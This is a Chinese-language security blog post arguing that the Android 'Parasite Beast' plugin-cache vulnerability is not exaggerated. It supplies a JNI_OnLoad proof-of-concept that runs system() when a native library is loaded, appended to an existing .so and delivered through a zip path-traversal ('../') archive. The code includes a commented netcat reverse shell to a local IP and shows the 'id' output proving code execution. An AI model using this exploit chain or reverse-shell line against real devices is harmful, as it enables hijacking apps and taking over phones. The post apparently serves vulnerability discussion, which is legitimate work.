- A+
川大信安文章被夸大的安卓漏洞“寄生兽” 中指出
实际上大部分app都会将插件的缓存文件存放在私有目录下,由于Android的沙箱机制,攻击者要利用这个漏洞首先需要突破沙箱保护。可以看到,360提出的4种攻击场景全部利用了其他的漏洞或者app开发者的粗心大意,从而突破了沙箱保护。
另一方面,由于odex文件与VM版本相关,同一个odex无法在多个设备中正常运行,攻击者需要对识别不同的设备并适配不同的恶意odex,漏洞利用成本进一步加大。
总结一下漏洞利用成功的先决条件:
1.Android版本低于5.0
2.利用了其他可突破沙箱保护的 漏洞
3.适配设备的odex文件实例
文章理论均正确,但是我认为此漏洞并非夸大.
首先现在绝大部分手机都在 android5.0以下.其次利用解压缩../跨目录本就是此漏洞利用亮点之一.
再次注入的时候可以选择 so 这样就不需要适配机型(覆盖 arm 和 x64的即可)
jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved)
{
JNIEnv* env = NULL;
jint result = -1;
int ret;
if ((*vm)->GetEnv(vm, (void**) &env, JNI_VERSION_1_4) != JNI_OK) {
return -1;
}
/* success -- return valid version number */
result = JNI_VERSION_1_4;
// ret = system("busybox nc 192.168.1.50 8088|/system/bin/sh|busybox nc 192.168.1.50 9999");
ret = system("id > /sdcard/jni_id.txt");
LOGI("ret value of system is %d",ret);
return result;
}
ndk 编译上述代码后追加到原有 so,再利用制作../的压缩包 exp.
$ cat /sdcard/jni_id.txt
uid=10158(u0_a158) gid=10158(u0_a158) groups=1015(sdcard_rw),1028(sdcard_r),3002(net_bt),3003(inet),50158(all_a158) context=u:r:untrusted_app:s0
PS:
2.DexClassLoader方法的第二个参数(即odex的存放路径)不要指定在sdcard上
这样写直接会报错…